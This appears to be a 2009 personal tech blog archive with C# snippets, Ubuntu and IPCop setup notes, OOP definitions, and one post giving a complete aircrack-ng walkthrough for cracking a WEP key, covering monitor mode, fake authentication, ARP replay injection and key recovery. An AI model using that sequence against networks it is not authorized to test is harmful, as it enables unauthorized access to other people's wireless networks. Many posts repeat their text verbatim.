Wednesday, December 16, 2009
Upload Excel File to DatagridView
***Add the namspace ==> using System.Data.OleDb;***
private void button1_Click(object sender, EventArgs e)
{
OleDbConnection Connection;
// The file path's goes with double slash
Connection = new OleDbConnection
(
"provider=Microsoft.Jet.OLEDB.4.0;data source=C:\\test.xls;Extended Properties=\"Excel 8.0;HDR=NO;IMEX=1;\""
);
Connection.Open();
// Select which page is going to upload
OleDbDataAdapter Adapter = new OleDbDataAdapter("SELECT * FROM [Sheet1$]", Connection);
DataTable table = new DataTable();
// Fill
Adapter.Fill(table);
this.dataGridView1.DataSource = table.DefaultView;
}
private void button1_Click(object sender, EventArgs e)
{
OleDbConnection Connection;
// The file path's goes with double slash
Connection = new OleDbConnection
(
"provider=Microsoft.Jet.OLEDB.4.0;data source=C:\\test.xls;Extended Properties=\"Excel 8.0;HDR=NO;IMEX=1;\""
);
Connection.Open();
// Select which page is going to upload
OleDbDataAdapter Adapter = new OleDbDataAdapter("SELECT * FROM [Sheet1$]", Connection);
DataTable table = new DataTable();
// Fill
Adapter.Fill(table);
this.dataGridView1.DataSource = table.DefaultView;
}
Monday, November 23, 2009
Touchpad Doesn't Work in Ubuntu 9.10
I recently upgraded Ubuntu 9.04 to Ubuntu 9.10. After the upgraded my touchpad didn't work, but if a plug in a usb mouse it works raight. So in the web i find this solution.
Open a terminal (if you don’t have a mouse hooked up, use Alt+F2). then “su” and give the root password (I tried doing this with sudo and still didn’t have enough permission. I “think” you need to be root). At the prompt, type:
Open a terminal (if you don’t have a mouse hooked up, use Alt+F2). then “su” and give the root password (I tried doing this with sudo and still didn’t have enough permission. I “think” you need to be root). At the prompt, type:
#echo options psmouse proto=exps > /etc/modprobe.d/psmouse.modprobe
At the next prompt, type”
#reboot Your touchpad will come back up after rebooting.
Wednesday, November 11, 2009
Crack a WEP with Intel PRO/Wireless 3945ABG
first download driver for Intel PRO/Wireless 3945ABG, i downloaded ipwraw.
Installing ipwraw:
1.- wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2 (download driver)
2.- tar -xjf ipwraw-ng* (extract the archive file)
3.- cd ipwraw-ng (go to the extracted folder)
4.- make (compile)
5.- sudo make install (install the driver)
6.- sudo make install_ucode
7.- echo blacklist ipwraw | sudo tee /etc/modprobe.d/ipwraw (blacklist the default ipwraw)
8.- sudo depmod -ae (create a dependency file for the modules)
9.- sudo modprobe ipwraw (load the driver that you installed)
10.-sudo ifconfig wlan0 up (enable the network adapter)
11.-airmon-ng start wlan0 (put your interface into monitor mode)
If the network interface is set correctly, it should say Monitor mode.
Use the injection test to confirm your card can inject prior to proceeding:
# sudo aireplay-ng -9 mon0
# sudo aircrack-ng -z -b xx:xx:xx:xx:xx:xx test*.ivs
# sudo aircrack-ng -a 1 -0 -n 128 test*.ivs
xx:xx:xx:xx:xx:xx (MAC address of client)
yy:yy:yy:yy:yy:yy (our Mac address)
Installing ipwraw:
1.- wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2 (download driver)
2.- tar -xjf ipwraw-ng* (extract the archive file)
3.- cd ipwraw-ng (go to the extracted folder)
4.- make (compile)
5.- sudo make install (install the driver)
6.- sudo make install_ucode
7.- echo blacklist ipwraw | sudo tee /etc/modprobe.d/ipwraw (blacklist the default ipwraw)
8.- sudo depmod -ae (create a dependency file for the modules)
9.- sudo modprobe ipwraw (load the driver that you installed)
10.-sudo ifconfig wlan0 up (enable the network adapter)
11.-airmon-ng start wlan0 (put your interface into monitor mode)
If the network interface is set correctly, it should say Monitor mode.
Use the injection test to confirm your card can inject prior to proceeding:
# sudo aireplay-ng -9 mon0
Start airodump-ng to discover all the available networks
# sudo airodump-ng mon0Start airodump-ng to collect the new unique IVs
# sudo airodump-ng -c 11 --bssid xx:xx:xx:xx:xx:xx -w test -i mon0Use aireplay-ng to do fake authentication with the access point
# sudo aireplay-ng -1 0 -e datel -a xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy mon0Start aireplay-ng in ARP request replay mode to inject packets
# sudo aireplay-ng -3 -b xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy mon0Run aircrack-ng to crack the WEP key using the IVs collected
# sudo aircrack-ng -z -b xx:xx:xx:xx:xx:xx test*.ivs
# sudo aircrack-ng -a 1 -0 -n 128 test*.ivs
xx:xx:xx:xx:xx:xx (MAC address of client)
yy:yy:yy:yy:yy:yy (our Mac address)
Monday, November 2, 2009
Just Allow Numbers in a Textbox
private void textBox1_KeyPress(object sender, KeyPressEventArgs e)
{
if (!char.IsNumber(e.KeyChar) & (Keys)e.KeyChar != Keys.Back & e.KeyChar != '.')
{
e.Handled = true;
}
}
Other basic example using TryParse
private void btn_Click(object sender, EventArgs e)
{
string nombre = textBox1.Text;
int Aux;
if (!int.TryParse(nombre, out Aux))
MessageBox.Show("just numbers");
}
{
if (!char.IsNumber(e.KeyChar) & (Keys)e.KeyChar != Keys.Back & e.KeyChar != '.')
{
e.Handled = true;
}
}
Other basic example using TryParse
private void btn_Click(object sender, EventArgs e)
{
string nombre = textBox1.Text;
int Aux;
if (!int.TryParse(nombre, out Aux))
MessageBox.Show("just numbers");
}
Wednesday, October 21, 2009
How to Install OSSIM
OSSIM stands for Open Source Security Information Management. Its goal is to provide a comprehensive compilation of tools which, when working together, grant network/security administrators with a detailed view over each and every aspect of his or her networks, hosts, physical access devices, server, etc.
1.- Download OSSIM Download from home page.
2.- Create a new VMware.
3.- Boot from the CD-ROM
OSSIM User Guide
1.- Download OSSIM Download from home page.
2.- Create a new VMware.
3.- Boot from the CD-ROM
OSSIM User Guide
Sunday, October 18, 2009
WinSCP
WinSCP connecting the IpCop
The following five steps are optional only if you are going to use the IpCop keyboard and monitor
• Download WinSCP
• Enable the ssh on the IpCop box
• Reboot the IpCop box
• Connect to the IpCop with WinSCP (port is 222)
either if the port is the same 222 you can connect simultaneously the WinSCP and putty
• Connect to the IpCop console with putty (port is 222
Monday, October 5, 2009
Programming Layers
(http://www.docirs.cl/arquitectura_tres_capas.htm)
The layered programming is a programming style in which the primary objective is the separation of business logic from the logic design, a basic example of this is to separate the data layer from the presentation layer to the user.
DAL: A Data Access Layer is a layer of a computer program which provides simplified access to data stored in persistent storage of some kind, such as an entity-relational databse.
This data access layer is used in turn by other program modules to access and manipulate the data within the data store without having to deal with the complexities inherent in this access.
BL: Business logic is a non-technical term generally used to describe the functional algorithms that handle information exchange between a database and a user interface. It is distinguished from input/output data validation and product logic.
Presentation Layer: it is seen by the user (also called the "user layer"), introduced the system to the user, communicates to capture information and user information in a minimum of process (perform a filtering Prior to check for any formatting errors). This layer communicates only with the business layer. It is also known as graphical interface and must have the characteristic of being "friendly" (understandable and easy to use) for the user.
Sunday, September 20, 2009
IPCop plus URLFilter
Here you got another video tutorial about installing urlfilter in IPCop
Firts you have to download WINSCP from the source page http://winscp.net/eng/download.php#download2 and install it on you windows xp
Then download URLfiltre
And now just follow the video.
Firts you have to download WINSCP from the source page http://winscp.net/eng/download.php#download2 and install it on you windows xp
Then download URLfiltre
And now just follow the video.
Tuesday, September 15, 2009
Installing IPCOP
IPCOP
Its sole purpose in life is to protect the network that it is installed on. By implementing existing technology, outstanding new technology and secure programming practices, IPCop is the Linux Distribution for those wanting to keep their computers/networks safe and sound.
here you got a video about installing ipcop on VNWARE
Its sole purpose in life is to protect the network that it is installed on. By implementing existing technology, outstanding new technology and secure programming practices, IPCop is the Linux Distribution for those wanting to keep their computers/networks safe and sound.
here you got a video about installing ipcop on VNWARE
doubts?
http://www.ipcop.org/1.4.0/en/install/html/
http://www.ipcop.org/1.4.0/en/install/html/
Tuesday, September 8, 2009
Basic Concepts
Lambda
A lambda expression is an anonymous function that can contain expressions and statements, and can be used to create delegates or expression tree types.
Polymorphism
The term polymorphism refers to the ability of two or more objects beloging to different classes to respond exactly the same message (method call) in different class-specific ways.
The term polymorphism is defined in Merriam Webster's Disctionary as:
"The quality or state of being able to assume different forms"
Abstraction:
A process that involves recognizing and focusing on the important characteristics of a situation or object, and filtering out or ignoring all of the unessential details.
Object:
Is a software construct that bundles together data(state) and functions (behavior) which, taken together, represent an abstraction of the real world (physical or conceptual) object.
Attributes:
this is the data that characterizes an object. These are variables which store data relating to the state of an object.
Methods:
An object's methods characterize its behaviour, meaning all actions that the object itself is capable of performing. These operations enable the object to respond to external requests. Furthermore, operations are closely linked to attributes, as their actions may depend on or even modify attribute values.
Classes:
Is an abstraction describing the common features of all members in a group of similar objects.
Instantiation:
Is used to refer to the process by which an object is created/constructed based upon a class definition.
Encapsulation:
Is a formal term referring to the mechanism that bundles together the state information(Attributes) of an object into a single logical unit.
Delegation:
If a request is made of an object A and, in fulfilling the request, A in turn requests assistance from another object B, this is known as delegation by A to B.
A lambda expression is an anonymous function that can contain expressions and statements, and can be used to create delegates or expression tree types.
Polymorphism
The term polymorphism refers to the ability of two or more objects beloging to different classes to respond exactly the same message (method call) in different class-specific ways.
The term polymorphism is defined in Merriam Webster's Disctionary as:
"The quality or state of being able to assume different forms"
Abstraction:
A process that involves recognizing and focusing on the important characteristics of a situation or object, and filtering out or ignoring all of the unessential details.
Object:
Is a software construct that bundles together data(state) and functions (behavior) which, taken together, represent an abstraction of the real world (physical or conceptual) object.
Attributes:
this is the data that characterizes an object. These are variables which store data relating to the state of an object.
Methods:
An object's methods characterize its behaviour, meaning all actions that the object itself is capable of performing. These operations enable the object to respond to external requests. Furthermore, operations are closely linked to attributes, as their actions may depend on or even modify attribute values.
Classes:
Is an abstraction describing the common features of all members in a group of similar objects.
Instantiation:
Is used to refer to the process by which an object is created/constructed based upon a class definition.
Encapsulation:
Is a formal term referring to the mechanism that bundles together the state information(Attributes) of an object into a single logical unit.
Delegation:
If a request is made of an object A and, in fulfilling the request, A in turn requests assistance from another object B, this is known as delegation by A to B.
Subscribe to:
Comments (Atom)